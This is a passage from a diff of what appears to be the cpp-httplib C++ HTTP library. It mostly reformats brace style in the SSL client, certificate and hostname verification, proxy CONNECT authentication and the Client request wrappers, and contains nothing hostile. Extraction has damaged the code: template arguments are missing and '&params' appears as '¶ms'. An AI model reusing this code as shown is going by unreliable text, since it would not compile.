[&](Stream &strm) { - Request req3; - req3.method = "CONNECT"; - req3.path = host_and_port_; - req3.headers.insert(detail::make_digest_authentication_header( - req3, auth, 1, detail::random_string(10), - proxy_digest_auth_username_, proxy_digest_auth_password_, - true)); - return process_request(strm, req3, proxy_res, false, error); - })) { - // Thread-safe to close everything because we are assuming there are - // no requests in flight - shutdown_ssl(socket, true); - shutdown_socket(socket); - close_socket(socket); - success = false; - return false; - } - } + bool &success, Error &error) +{ + success = true; + Response proxy_res; + if (!detail::process_client_socket( + socket.sock, read_timeout_sec_, read_timeout_usec_, + write_timeout_sec_, write_timeout_usec_, [&](Stream &strm) { + Request req2; + req2.method = "CONNECT"; + req2.path = host_and_port_; + return process_request(strm, req2, proxy_res, false, error); + })) { + // Thread-safe to close everything because we are assuming there are no + // requests in flight + shutdown_ssl(socket, true); + shutdown_socket(socket); + close_socket(socket); + success = false; + return false; } - } - // If status code is not 200, proxy request is failed. - // Set error to ProxyConnection and return proxy response - // as the response of the request - if (proxy_res.status != StatusCode::OK_200) { - error = Error::ProxyConnection; - res = std::move(proxy_res); - // Thread-safe to close everything because we are assuming there are - // no requests in flight - shutdown_ssl(socket, true); - shutdown_socket(socket); - close_socket(socket); - return false; - } + if (proxy_res.status == StatusCode::ProxyAuthenticationRequired_407) { + if (!proxy_digest_auth_username_.empty() && + !proxy_digest_auth_password_.empty()) { + std::map auth; + if (detail::parse_www_authenticate(proxy_res, auth, true)) { + proxy_res = Response(); + if (!detail::process_client_socket( + socket.sock, read_timeout_sec_, read_timeout_usec_, + write_timeout_sec_, write_timeout_usec_, [&](Stream &strm) { + Request req3; + req3.method = "CONNECT"; + req3.path = host_and_port_; + req3.headers.insert(detail::make_digest_authentication_header( + req3, auth, 1, detail::random_string(10), + proxy_digest_auth_username_, proxy_digest_auth_password_, + true)); + return process_request(strm, req3, proxy_res, false, error); + })) { + // Thread-safe to close everything because we are assuming there are + // no requests in flight + shutdown_ssl(socket, true); + shutdown_socket(socket); + close_socket(socket); + success = false; + return false; + } + } + } + } - return true; + // If status code is not 200, proxy request is failed. + // Set error to ProxyConnection and return proxy response + // as the response of the request + if (proxy_res.status != StatusCode::OK_200) { + error = Error::ProxyConnection; + res = std::move(proxy_res); + // Thread-safe to close everything because we are assuming there are + // no requests in flight + shutdown_ssl(socket, true); + shutdown_socket(socket); + close_socket(socket); + return false; + } + + return true; } -inline bool SSLClient::load_certs() { - auto ret = true; +inline bool SSLClient::load_certs() +{ + auto ret = true; - std::call_once(initialize_cert_, [&]() { - std::lock_guard guard(ctx_mutex_); - if (!ca_cert_file_path_.empty()) { - if (!SSL_CTX_load_verify_locations(ctx_, ca_cert_file_path_.c_str(), - nullptr)) { - ret = false; - } - } else if (!ca_cert_dir_path_.empty()) { - if (!SSL_CTX_load_verify_locations(ctx_, nullptr, - ca_cert_dir_path_.c_str())) { - ret = false; - } - } else { - auto loaded = false; + std::call_once(initialize_cert_, [&]() { + std::lock_guard guard(ctx_mutex_); + if (!ca_cert_file_path_.empty()) { + if (!SSL_CTX_load_verify_locations(ctx_, ca_cert_file_path_.c_str(), + nullptr)) { + ret = false; + } + } else if (!ca_cert_dir_path_.empty()) { + if (!SSL_CTX_load_verify_locations(ctx_, nullptr, + ca_cert_dir_path_.c_str())) { + ret = false; + } + } else { + auto loaded = false; #ifdef _WIN32 - loaded = - detail::load_system_certs_on_windows(SSL_CTX_get_cert_store(ctx_)); + loaded = + detail::load_system_certs_on_windows(SSL_CTX_get_cert_store(ctx_)); #elif defined(CPPHTTPLIB_USE_CERTS_FROM_MACOSX_KEYCHAIN) && defined(__APPLE__) #if TARGET_OS_OSX - loaded = detail::load_system_certs_on_macos(SSL_CTX_get_cert_store(ctx_)); + loaded = detail::load_system_certs_on_macos(SSL_CTX_get_cert_store(ctx_)); #endif // TARGET_OS_OSX #endif // _WIN32 - if (!loaded) { SSL_CTX_set_default_verify_paths(ctx_); } - } - }); + if (!loaded) { + SSL_CTX_set_default_verify_paths(ctx_); + } + } + }); - return ret; + return ret; } -inline bool SSLClient::initialize_ssl(Socket &socket, Error &error) { - auto ssl = detail::ssl_new( - socket.sock, ctx_, ctx_mutex_, - [&](SSL *ssl2) { +inline bool SSLClient::initialize_ssl(Socket &socket, Error &error) +{ + auto ssl = detail::ssl_new( + socket.sock, ctx_, ctx_mutex_, + [&](SSL *ssl2) { if (server_certificate_verification_) { - if (!load_certs()) { - error = Error::SSLLoadingCerts; - return false; - } - SSL_set_verify(ssl2, SSL_VERIFY_NONE, nullptr); + if (!load_certs()) { + error = Error::SSLLoadingCerts; + return false; + } + SSL_set_verify(ssl2, SSL_VERIFY_NONE, nullptr); } if (!detail::ssl_connect_or_accept_nonblocking( socket.sock, ssl2, SSL_connect, connection_timeout_sec_, connection_timeout_usec_)) { - error = Error::SSLConnection; - return false; + error = Error::SSLConnection; + return false; } if (server_certificate_verification_) { - verify_result_ = SSL_get_verify_result(ssl2); + verify_result_ = SSL_get_verify_result(ssl2); - if (verify_result_ != X509_V_OK) { - error = Error::SSLServerVerification; - return false; - } + if (verify_result_ != X509_V_OK) { + error = Error::SSLServerVerification; + return false; + } - auto server_cert = SSL_get1_peer_certificate(ssl2); + auto server_cert = SSL_get1_peer_certificate(ssl2); - if (server_cert == nullptr) { - error = Error::SSLServerVerification; - return false; - } + if (server_cert == nullptr) { + error = Error::SSLServerVerification; + return false; + } - if (!verify_host(server_cert)) { + if (!verify_host(server_cert)) { + X509_free(server_cert); + error = Error::SSLServerVerification; + return false; + } X509_free(server_cert); - error = Error::SSLServerVerification; - return false; - } - X509_free(server_cert); } return true; - }, - [&](SSL *ssl2) { + }, + [&](SSL *ssl2) { // NOTE: With -Wold-style-cast, this can produce a warning, since // SSL_set_tlsext_host_name is a macro (in OpenSSL), which contains // an old style cast. Short of doing compiler specific pragma's // here, we can't get rid of this warning. :'( SSL_set_tlsext_host_name(ssl2, host_.c_str()); return true; - }); + }); - if (ssl) { - socket.ssl = ssl; - return true; - } + if (ssl) { + socket.ssl = ssl; + return true; + } - shutdown_socket(socket); - close_socket(socket); - return false; + shutdown_socket(socket); + close_socket(socket); + return false; } -inline void SSLClient::shutdown_ssl(Socket &socket, bool shutdown_gracefully) { - shutdown_ssl_impl(socket, shutdown_gracefully); +inline void SSLClient::shutdown_ssl(Socket &socket, bool shutdown_gracefully) +{ + shutdown_ssl_impl(socket, shutdown_gracefully); } inline void SSLClient::shutdown_ssl_impl(Socket &socket, - bool shutdown_gracefully) { - if (socket.sock == INVALID_SOCKET) { + bool shutdown_gracefully) +{ + if (socket.sock == INVALID_SOCKET) { + assert(socket.ssl == nullptr); + return; + } + if (socket.ssl) { + detail::ssl_delete(ctx_mutex_, socket.ssl, shutdown_gracefully); + socket.ssl = nullptr; + } assert(socket.ssl == nullptr); - return; - } - if (socket.ssl) { - detail::ssl_delete(ctx_mutex_, socket.ssl, shutdown_gracefully); - socket.ssl = nullptr; - } - assert(socket.ssl == nullptr); } inline bool SSLClient::process_socket(const Socket &socket, - std::function callback) { - assert(socket.ssl); - return detail::process_client_socket_ssl( - socket.ssl, socket.sock, read_timeout_sec_, read_timeout_usec_, - write_timeout_sec_, write_timeout_usec_, std::move(callback)); + std::function callback) +{ + assert(socket.ssl); + return detail::process_client_socket_ssl( + socket.ssl, socket.sock, read_timeout_sec_, read_timeout_usec_, + write_timeout_sec_, write_timeout_usec_, std::move(callback)); } -inline bool SSLClient::is_ssl() const { return true; } +inline bool SSLClient::is_ssl() const +{ + return true; +} -inline bool SSLClient::verify_host(X509 *server_cert) const { - /* Quote from RFC2818 section 3.1 "Server Identity" +inline bool SSLClient::verify_host(X509 *server_cert) const +{ + /* Quote from RFC2818 section 3.1 "Server Identity" - If a subjectAltName extension of type dNSName is present, that MUST - be used as the identity. Otherwise, the (most specific) Common Name - field in the Subject field of the certificate MUST be used. Although - the use of the Common Name is existing practice, it is deprecated and - Certification Authorities are encouraged to use the dNSName instead. + If a subjectAltName extension of type dNSName is present, that MUST + be used as the identity. Otherwise, the (most specific) Common Name + field in the Subject field of the certificate MUST be used. Although + the use of the Common Name is existing practice, it is deprecated and + Certification Authorities are encouraged to use the dNSName instead. - Matching is performed using the matching rules specified by - [RFC2459]. If more than one identity of a given type is present in - the certificate (e.g., more than one dNSName name, a match in any one - of the set is considered acceptable.) Names may contain the wildcard - character * which is considered to match any single domain name - component or component fragment. E.g., *.a.com matches foo.a.com but - not bar.foo.a.com. f*.com matches foo.com but not bar.com. + Matching is performed using the matching rules specified by + [RFC2459]. If more than one identity of a given type is present in + the certificate (e.g., more than one dNSName name, a match in any one + of the set is considered acceptable.) Names may contain the wildcard + character * which is considered to match any single domain name + component or component fragment. E.g., *.a.com matches foo.a.com but + not bar.foo.a.com. f*.com matches foo.com but not bar.com. - In some cases, the URI is specified as an IP address rather than a - hostname. In this case, the iPAddress subjectAltName must be present - in the certificate and must exactly match the IP in the URI. + In some cases, the URI is specified as an IP address rather than a + hostname. In this case, the iPAddress subjectAltName must be present + in the certificate and must exactly match the IP in the URI. - */ - return verify_host_with_subject_alt_name(server_cert) || - verify_host_with_common_name(server_cert); + */ + return verify_host_with_subject_alt_name(server_cert) || + verify_host_with_common_name(server_cert); } inline bool -SSLClient::verify_host_with_subject_alt_name(X509 *server_cert) const { - auto ret = false; +SSLClient::verify_host_with_subject_alt_name(X509 *server_cert) const +{ + auto ret = false; - auto type = GEN_DNS; + auto type = GEN_DNS; - struct in6_addr addr6 {}; - struct in_addr addr {}; - size_t addr_len = 0; + struct in6_addr addr6 {}; + struct in_addr addr {}; + size_t addr_len = 0; #ifndef __MINGW32__ - if (inet_pton(AF_INET6, host_.c_str(), &addr6)) { - type = GEN_IPADD; - addr_len = sizeof(struct in6_addr); - } else if (inet_pton(AF_INET, host_.c_str(), &addr)) { - type = GEN_IPADD; - addr_len = sizeof(struct in_addr); - } + if (inet_pton(AF_INET6, host_.c_str(), &addr6)) { + type = GEN_IPADD; + addr_len = sizeof(struct in6_addr); + } else if (inet_pton(AF_INET, host_.c_str(), &addr)) { + type = GEN_IPADD; + addr_len = sizeof(struct in_addr); + } #endif - auto alt_names = static_cast( - X509_get_ext_d2i(server_cert, NID_subject_alt_name, nullptr, nullptr)); + auto alt_names = static_cast( + X509_get_ext_d2i(server_cert, NID_subject_alt_name, nullptr, nullptr)); - if (alt_names) { - auto dsn_matched = false; - auto ip_matched = false; + if (alt_names) { + auto dsn_matched = false; + auto ip_matched = false; - auto count = sk_GENERAL_NAME_num(alt_names); + auto count = sk_GENERAL_NAME_num(alt_names); - for (decltype(count) i = 0; i < count && !dsn_matched; i++) { - auto val = sk_GENERAL_NAME_value(alt_names, i); - if (val->type == type) { - auto name = - reinterpret_cast(ASN1_STRING_get0_data(val->d.ia5)); - auto name_len = static_cast(ASN1_STRING_length(val->d.ia5)); + for (decltype(count) i = 0; i < count && !dsn_matched; i++) { + auto val = sk_GENERAL_NAME_value(alt_names, i); + if (val->type == type) { + auto name = + reinterpret_cast(ASN1_STRING_get0_data(val->d.ia5)); + auto name_len = static_cast(ASN1_STRING_length(val->d.ia5)); - switch (type) { - case GEN_DNS: dsn_matched = check_host_name(name, name_len); break; + switch (type) { + case GEN_DNS: + dsn_matched = check_host_name(name, name_len); + break; - case GEN_IPADD: - if (!memcmp(&addr6, name, addr_len) || - !memcmp(&addr, name, addr_len)) { - ip_matched = true; - } - break; + case GEN_IPADD: + if (!memcmp(&addr6, name, addr_len) || + !memcmp(&addr, name, addr_len)) { + ip_matched = true; + } + break; + } + } + } + + if (dsn_matched || ip_matched) { + ret = true; } - } } - if (dsn_matched || ip_matched) { ret = true; } - } - - GENERAL_NAMES_free(const_cast( - reinterpret_cast(alt_names))); - return ret; + GENERAL_NAMES_free(const_cast( + reinterpret_cast(alt_names))); + return ret; } -inline bool SSLClient::verify_host_with_common_name(X509 *server_cert) const { - const auto subject_name = X509_get_subject_name(server_cert); +inline bool SSLClient::verify_host_with_common_name(X509 *server_cert) const +{ + const auto subject_name = X509_get_subject_name(server_cert); - if (subject_name != nullptr) { - char name[BUFSIZ]; - auto name_len = X509_NAME_get_text_by_NID(subject_name, NID_commonName, - name, sizeof(name)); + if (subject_name != nullptr) { + char name[BUFSIZ]; + auto name_len = X509_NAME_get_text_by_NID(subject_name, NID_commonName, + name, sizeof(name)); - if (name_len != -1) { - return check_host_name(name, static_cast(name_len)); + if (name_len != -1) { + return check_host_name(name, static_cast(name_len)); + } } - } - return false; + return false; } inline bool SSLClient::check_host_name(const char *pattern, - size_t pattern_len) const { - if (host_.size() == pattern_len && host_ == pattern) { return true; } - - // Wildcard match - // https://bugs.launchpad.net/ubuntu/+source/firefox-3.0/+bug/376484 - std::vector pattern_components; - detail::split(&pattern[0], &pattern[pattern_len], '.', - [&](const char *b, const char *e) { - pattern_components.emplace_back(b, e); - }); - - if (host_components_.size() != pattern_components.size()) { return false; } - - auto itr = pattern_components.begin(); - for (const auto &h : host_components_) { - auto &p = *itr; - if (p != h && p != "*") { - auto partial_match = (p.size() > 0 && p[p.size() - 1] == '*' && - !p.compare(0, p.size() - 1, h)); - if (!partial_match) { return false; } + size_t pattern_len) const +{ + if (host_.size() == pattern_len && host_ == pattern) { + return true; } - ++itr; - } - return true; + // Wildcard match + // https://bugs.launchpad.net/ubuntu/+source/firefox-3.0/+bug/376484 + std::vector pattern_components; + detail::split(&pattern[0], &pattern[pattern_len], '.', + [&](const char *b, const char *e) { + pattern_components.emplace_back(b, e); + }); + + if (host_components_.size() != pattern_components.size()) { + return false; + } + + auto itr = pattern_components.begin(); + for (const auto &h : host_components_) { + auto &p = *itr; + if (p != h && p != "*") { + auto partial_match = (p.size() > 0 && p[p.size() - 1] == '*' && + !p.compare(0, p.size() - 1, h)); + if (!partial_match) { + return false; + } + } + ++itr; + } + + return true; } #endif @@ -8869,48 +10073,51 @@ inline Client::Client(const std::string &scheme_host_port) inline Client::Client(const std::string &scheme_host_port, const std::string &client_cert_path, - const std::string &client_key_path) { - const static std::regex re( - R"((?:([a-z]+):\/\/)?(?:\[([\d:]+)\]|([^:/?#]+))(?::(\d+))?)"); + const std::string &client_key_path) +{ + const static std::regex re( + R"((?:([a-z]+):\/\/)?(?:\[([\d:]+)\]|([^:/?#]+))(?::(\d+))?)"); - std::smatch m; - if (std::regex_match(scheme_host_port, m, re)) { - auto scheme = m[1].str(); + std::smatch m; + if (std::regex_match(scheme_host_port, m, re)) { + auto scheme = m[1].str(); #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - if (!scheme.empty() && (scheme != "http" && scheme != "https")) { + if (!scheme.empty() && (scheme != "http" && scheme != "https")) { #else - if (!scheme.empty() && scheme != "http") { + if (!scheme.empty() && scheme != "http") { #endif #ifndef CPPHTTPLIB_NO_EXCEPTIONS - std::string msg = "'" + scheme + "' scheme is not supported."; - throw std::invalid_argument(msg); + std::string msg = "'" + scheme + "' scheme is not supported."; + throw std::invalid_argument(msg); #endif - return; - } + return; + } - auto is_ssl = scheme == "https"; + auto is_ssl = scheme == "https"; - auto host = m[2].str(); - if (host.empty()) { host = m[3].str(); } + auto host = m[2].str(); + if (host.empty()) { + host = m[3].str(); + } - auto port_str = m[4].str(); - auto port = !port_str.empty() ? std::stoi(port_str) : (is_ssl ? 443 : 80); + auto port_str = m[4].str(); + auto port = !port_str.empty() ? std::stoi(port_str) : (is_ssl ? 443 : 80); - if (is_ssl) { + if (is_ssl) { #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - cli_ = detail::make_unique(host, port, client_cert_path, - client_key_path); - is_ssl_ = is_ssl; + cli_ = detail::make_unique(host, port, client_cert_path, + client_key_path); + is_ssl_ = is_ssl; #endif + } else { + cli_ = detail::make_unique(host, port, client_cert_path, + client_key_path); + } } else { - cli_ = detail::make_unique(host, port, client_cert_path, - client_key_path); + cli_ = detail::make_unique(scheme_host_port, 80, + client_cert_path, client_key_path); } - } else { - cli_ = detail::make_unique(scheme_host_port, 80, - client_cert_path, client_key_path); - } } inline Client::Client(const std::string &host, int port) @@ -8924,438 +10131,572 @@ inline Client::Client(const std::string &host, int port, inline Client::~Client() = default; -inline bool Client::is_valid() const { - return cli_ != nullptr && cli_->is_valid(); +inline bool Client::is_valid() const +{ + return cli_ != nullptr && cli_->is_valid(); } -inline Result Client::Get(const std::string &path) { return cli_->Get(path); } -inline Result Client::Get(const std::string &path, const Headers &headers) { - return cli_->Get(path, headers); +inline Result Client::Get(const std::string &path) +{ + return cli_->Get(path); } -inline Result Client::Get(const std::string &path, Progress progress) { - return cli_->Get(path, std::move(progress)); +inline Result Client::Get(const std::string &path, const Headers &headers) +{ + return cli_->Get(path, headers); +} +inline Result Client::Get(const std::string &path, Progress progress) +{ + return cli_->Get(path, std::move(progress)); } inline Result Client::Get(const std::string &path, const Headers &headers, - Progress progress) { - return cli_->Get(path, headers, std::move(progress)); + Progress progress) +{ + return cli_->Get(path, headers, std::move(progress)); } inline Result Client::Get(const std::string &path, - ContentReceiver content_receiver) { - return cli_->Get(path, std::move(content_receiver)); + ContentReceiver content_receiver) +{ + return cli_->Get(path, std::move(content_receiver)); } inline Result Client::Get(const std::string &path, const Headers &headers, - ContentReceiver content_receiver) { - return cli_->Get(path, headers, std::move(content_receiver)); + ContentReceiver content_receiver) +{ + return cli_->Get(path, headers, std::move(content_receiver)); } inline Result Client::Get(const std::string &path, - ContentReceiver content_receiver, Progress progress) { - return cli_->Get(path, std::move(content_receiver), std::move(progress)); + ContentReceiver content_receiver, Progress progress) +{ + return cli_->Get(path, std::move(content_receiver), std::move(progress)); } inline Result Client::Get(const std::string &path, const Headers &headers, - ContentReceiver content_receiver, Progress progress) { - return cli_->Get(path, headers, std::move(content_receiver), - std::move(progress)); + ContentReceiver content_receiver, Progress progress) +{ + return cli_->Get(path, headers, std::move(content_receiver), + std::move(progress)); } inline Result Client::Get(const std::string &path, ResponseHandler response_handler, - ContentReceiver content_receiver) { - return cli_->Get(path, std::move(response_handler), - std::move(content_receiver)); + ContentReceiver content_receiver) +{ + return cli_->Get(path, std::move(response_handler), + std::move(content_receiver)); } inline Result Client::Get(const std::string &path, const Headers &headers, ResponseHandler response_handler, - ContentReceiver content_receiver) { - return cli_->Get(path, headers, std::move(response_handler), - std::move(content_receiver)); + ContentReceiver content_receiver) +{ + return cli_->Get(path, headers, std::move(response_handler), + std::move(content_receiver)); } inline Result Client::Get(const std::string &path, ResponseHandler response_handler, - ContentReceiver content_receiver, Progress progress) { - return cli_->Get(path, std::move(response_handler), - std::move(content_receiver), std::move(progress)); + ContentReceiver content_receiver, Progress progress) +{ + return cli_->Get(path, std::move(response_handler), + std::move(content_receiver), std::move(progress)); } inline Result Client::Get(const std::string &path, const Headers &headers, ResponseHandler response_handler, - ContentReceiver content_receiver, Progress progress) { - return cli_->Get(path, headers, std::move(response_handler), - std::move(content_receiver), std::move(progress)); + ContentReceiver content_receiver, Progress progress) +{ + return cli_->Get(path, headers, std::move(response_handler), + std::move(content_receiver), std::move(progress)); } inline Result Client::Get(const std::string &path, const Params ¶ms, - const Headers &headers, Progress progress) { - return cli_->Get(path, params, headers, progress); + const Headers &headers, Progress progress) +{ + return cli_->Get(path, params, headers, progress); } inline Result Client::Get(const std::string &path, const Params ¶ms, const Headers &headers, - ContentReceiver content_receiver, Progress progress) { - return cli_->Get(path, params, headers, content_receiver, progress); + ContentReceiver content_receiver, Progress progress) +{ + return cli_->Get(path, params, headers, content_receiver, progress); } inline Result Client::Get(const std::string &path, const Params ¶ms, const Headers &headers, ResponseHandler response_handler, - ContentReceiver content_receiver, Progress progress) { - return cli_->Get(path, params, headers, response_handler, content_receiver, - progress); + ContentReceiver content_receiver, Progress progress) +{ + return cli_->Get(path, params, headers, response_handler, content_receiver, + progress); } -inline Result Client::Head(const std::string &path) { return cli_->Head(path); } -inline Result Client::Head(const std::string &path, const Headers &headers) { - return cli_->Head(path, headers); +inline Result Client::Head(const std::string &path) +{ + return cli_->Head(path); +} +inline Result Client::Head(const std::string &path, const Headers &headers) +{ + return cli_->Head(path, headers); } -inline Result Client::Post(const std::string &path) { return cli_->Post(path); } -inline Result Client::Post(const std::string &path, const Headers &headers) { - return cli_->Post(path, headers); +inline Result Client::Post(const std::string &path) +{ + return cli_->Post(path); +} +inline Result Client::Post(const std::string &path, const Headers &headers) +{ + return cli_->Post(path, headers); } inline Result Client::Post(const std::string &path, const char *body, size_t content_length, - const std::string &content_type) { - return cli_->Post(path, body, content_length, content_type); + const std::string &content_type) +{ + return cli_->Post(path, body, content_length, content_type); } inline Result Client::Post(const std::string &path, const Headers &headers, const char *body, size_t content_length, - const std::string &content_type) { - return cli_->Post(path, headers, body, content_length, content_type); + const std::string &content_type) +{ + return cli_->Post(path, headers, body, content_length, content_type); } inline Result Client::Post(const std::string &path, const std::string &body, - const std::string &content_type) { - return cli_->Post(path, body, content_type); + const std::string &content_type) +{ + return cli_->Post(path, body, content_type); } inline Result Client::Post(const std::string &path, const Headers &headers, const std::string &body, - const std::string &content_type) { - return cli_->Post(path, headers, body, content_type); + const std::string &content_type) +{ + return cli_->Post(path, headers, body, content_type); } inline Result Client::Post(const std::string &path, size_t content_length, ContentProvider content_provider, - const std::string &content_type) { - return cli_->Post(path, content_length, std::move(content_provider), - content_type); + const std::string &content_type) +{ + return cli_->Post(path, content_length, std::move(content_provider), + content_type); } inline Result Client::Post(const std::string &path, ContentProviderWithoutLength content_provider, - const std::string &content_type) { - return cli_->Post(path, std::move(content_provider), content_type); + const std::string &content_type) +{ + return cli_->Post(path, std::move(content_provider), content_type); } inline Result Client::Post(const std::string &path, const Headers &headers, size_t content_length, ContentProvider content_provider, - const std::string &content_type) { - return cli_->Post(path, headers, content_length, std::move(content_provider), - content_type); + const std::string &content_type) +{ + return cli_->Post(path, headers, content_length, std::move(content_provider), + content_type); } inline Result Client::Post(const std::string &path, const Headers &headers, ContentProviderWithoutLength content_provider, - const std::string &content_type) { - return cli_->Post(path, headers, std::move(content_provider), content_type); + const std::string &content_type) +{ + return cli_->Post(path, headers, std::move(content_provider), content_type); } -inline Result Client::Post(const std::string &path, const Params ¶ms) { - return cli_->Post(path, params); +inline Result Client::Post(const std::string &path, const Params ¶ms) +{ + return cli_->Post(path, params); } inline Result Client::Post(const std::string &path, const Headers &headers, - const Params ¶ms) { - return cli_->Post(path, headers, params); + const Params ¶ms) +{ + return cli_->Post(path, headers, params); } inline Result Client::Post(const std::string &path, - const MultipartFormDataItems &items) { - return cli_->Post(path, items); + const MultipartFormDataItems &items) +{ + return cli_->Post(path, items); } inline Result Client::Post(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items) { - return cli_->Post(path, headers, items); + const MultipartFormDataItems &items) +{ + return cli_->Post(path, headers, items); } inline Result Client::Post(const std::string &path, const Headers &headers, const MultipartFormDataItems &items, - const std::string &boundary) { - return cli_->Post(path, headers, items, boundary); + const std::string &boundary) +{ + return cli_->Post(path, headers, items, boundary); } inline Result Client::Post(const std::string &path, const Headers &headers, const MultipartFormDataItems &items, - const MultipartFormDataProviderItems &provider_items) { - return cli_->Post(path, headers, items, provider_items); + const MultipartFormDataProviderItems &provider_items) +{ + return cli_->Post(path, headers, items, provider_items); +} +inline Result Client::Put(const std::string &path) +{ + return cli_->Put(path); } -inline Result Client::Put(const std::string &path) { return cli_->Put(path); } inline Result Client::Put(const std::string &path, const char *body, size_t content_length, - const std::string &content_type) { - return cli_->Put(path, body, content_length, content_type); + const std::string &content_type) +{ + return cli_->Put(path, body, content_length, content_type); } inline Result Client::Put(const std::string &path, const Headers &headers, const char *body, size_t content_length, - const std::string &content_type) { - return cli_->Put(path, headers, body, content_length, content_type); + const std::string &content_type) +{ + return cli_->Put(path, headers, body, content_length, content_type); } inline Result Client::Put(const std::string &path, const std::string &body, - const std::string &content_type) { - return cli_->Put(path, body, content_type); + const std::string &content_type) +{ + return cli_->Put(path, body, content_type); } inline Result Client::Put(const std::string &path, const Headers &headers, const std::string &body, - const std::string &content_type) { - return cli_->Put(path, headers, body, content_type); + const std::string &content_type) +{ + return cli_->Put(path, headers, body, content_type); } inline Result Client::Put(const std::string &path, size_t content_length, ContentProvider content_provider, - const std::string &content_type) { - return cli_->Put(path, content_length, std::move(content_provider), - content_type); + const std::string &content_type) +{ + return cli_->Put(path, content_length, std::move(content_provider), + content_type); } inline Result Client::Put(const std::string &path, ContentProviderWithoutLength content_provider, - const std::string &content_type) { - return cli_->Put(path, std::move(content_provider), content_type); + const std::string &content_type) +{ + return cli_->Put(path, std::move(content_provider), content_type); } inline Result Client::Put(const std::string &path, const Headers &headers, size_t content_length, ContentProvider content_provider, - const std::string &content_type) { - return cli_->Put(path, headers, content_length, std::move(content_provider), - content_type); + const std::string &content_type) +{ + return cli_->Put(path, headers, content_length, std::move(content_provider), + content_type); } inline Result Client::Put(const std::string &path, const Headers &headers, ContentProviderWithoutLength content_provider, - const std::string &content_type) { - return cli_->Put(path, headers, std::move(content_provider), content_type); + const std::string &content_type) +{ + return cli_->Put(path, headers, std::move(content_provider), content_type); } -inline Result Client::Put(const std::string &path, const Params ¶ms) { - return cli_->Put(path, params); +inline Result Client::Put(const std::string &path, const Params ¶ms) +{ + return cli_->Put(path, params); } inline Result Client::Put(const std::string &path, const Headers &headers, - const Params ¶ms) { - return cli_->Put(path, headers, params); + const Params ¶ms) +{ + return cli_->Put(path, headers, params); } inline Result Client::Put(const std::string &path, - const MultipartFormDataItems &items) { - return cli_->Put(path, items); + const MultipartFormDataItems &items) +{ + return cli_->Put(path, items); } inline Result Client::Put(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items) { - return cli_->Put(path, headers, items); + const MultipartFormDataItems &items) +{ + return cli_->Put(path, headers, items); } inline Result Client::Put(const std::string &path, const Headers &headers, const MultipartFormDataItems &items, - const std::string &boundary) { - return cli_->Put(path, headers, items, boundary); + const std::string &boundary) +{ + return cli_->Put(path, headers, items, boundary); } inline Result Client::Put(const std::string &path, const Headers &headers, const MultipartFormDataItems &items, - const MultipartFormDataProviderItems &provider_items) { - return cli_->Put(path, headers, items, provider_items); + const MultipartFormDataProviderItems &provider_items) +{ + return cli_->Put(path, headers, items, provider_items); } -inline Result Client::Patch(const std::string &path) { - return cli_->Patch(path); +inline Result Client::Patch(const std::string &path) +{ + return cli_->Patch(path); } inline Result Client::Patch(const std::string &path, const char *body, size_t content_length, - const std::string &content_type) { - return cli_->Patch(path, body, content_length, content_type); + const std::string &content_type) +{ + return cli_->Patch(path, body, content_length, content_type); } inline Result Client::Patch(const std::string &path, const Headers &headers, const char *body, size_t content_length, - const std::string &content_type) { - return cli_->Patch(path, headers, body, content_length, content_type); + const std::string &content_type) +{ + return cli_->Patch(path, headers, body, content_length, content_type); } inline Result Client::Patch(const std::string &path, const std::string &body, - const std::string &content_type) { - return cli_->Patch(path, body, content_type); + const std::string &content_type) +{ + return cli_->Patch(path, body, content_type); } inline Result Client::Patch(const std::string &path, const Headers &headers, const std::string &body, - const std::string &content_type) { - return cli_->Patch(path, headers, body, content_type); + const std::string &content_type) +{ + return cli_->Patch(path, headers, body, content_type); } inline Result Client::Patch(const std::string &path, size_t content_length, ContentProvider content_provider, - const std::string &content_type) { - return cli_->Patch(path, content_length, std::move(content_provider), - content_type); + const std::string &content_type) +{ + return cli_->Patch(path, content_length, std::move(content_provider), + content_type); } inline Result Client::Patch(const std::string &path, ContentProviderWithoutLength content_provider, - const std::string &content_type) { - return cli_->Patch(path, std::move(content_provider), content_type); + const std::string &content_type) +{ + return cli_->Patch(path, std::move(content_provider), content_type); } inline Result Client::Patch(const std::string &path, const Headers &headers, size_t content_length, ContentProvider content_provider, - const std::string &content_type) { - return cli_->Patch(path, headers, content_length, std::move(content_provider), - content_type); + const std::string &content_type) +{ + return cli_->Patch(path, headers, content_length, std::move(content_provider), + content_type); } inline Result Client::Patch(const std::string &path, const Headers &headers, ContentProviderWithoutLength content_provider, - const std::string &content_type) { - return cli_->Patch(path, headers, std::move(content_provider), content_type); + const std::string &content_type) +{ + return cli_->Patch(path, headers, std::move(content_provider), content_type); } -inline Result Client::Delete(const std::string &path) { - return cli_->Delete(path); +inline Result Client::Delete(const std::string &path) +{ + return cli_->Delete(path); } -inline Result Client::Delete(const std::string &path, const Headers &headers) { - return cli_->Delete(path, headers); +inline Result Client::Delete(const std::string &path, const Headers &headers) +{ + return cli_->Delete(path, headers); } inline Result Client::Delete(const std::string &path, const char *body, size_t content_length, - const std::string &content_type) { - return cli_->Delete(path, body, content_length, content_type); + const std::string &content_type) +{ + return cli_->Delete(path, body, content_length, content_type); } inline Result Client::Delete(const std::string &path, const Headers &headers, const char *body, size_t content_length, - const std::string &content_type) { - return cli_->Delete(path, headers, body, content_length, content_type); + const std::string &content_type) +{ + return cli_->Delete(path, headers, body, content_length, content_type); } inline Result Client::Delete(const std::string &path, const std::string &body, - const std::string &content_type) { - return cli_->Delete(path, body, content_type); + const std::string &content_type) +{ + return cli_->Delete(path, body, content_type); } inline Result Client::Delete(const std::string &path, const Headers &headers, const std::string &body, - const std::string &content_type) { - return cli_->Delete(path, headers, body, content_type); + const std::string &content_type) +{ + return cli_->Delete(path, headers, body, content_type); } -inline Result Client::Options(const std::string &path) { - return cli_->Options(path); +inline Result Client::Options(const std::string &path) +{ + return cli_->Options(path); } -inline Result Client::Options(const std::string &path, const Headers &headers) { - return cli_->Options(path, headers); +inline Result Client::Options(const std::string &path, const Headers &headers) +{ + return cli_->Options(path, headers); } -inline bool Client::send(Request &req, Response &res, Error &error) { - return cli_->send(req, res, error); +inline bool Client::send(Request &req, Response &res, Error &error) +{ + return cli_->send(req, res, error); } -inline Result Client::send(const Request &req) { return cli_->send(req); } +inline Result Client::send(const Request &req) +{ + return cli_->send(req); +} -inline void Client::stop() { 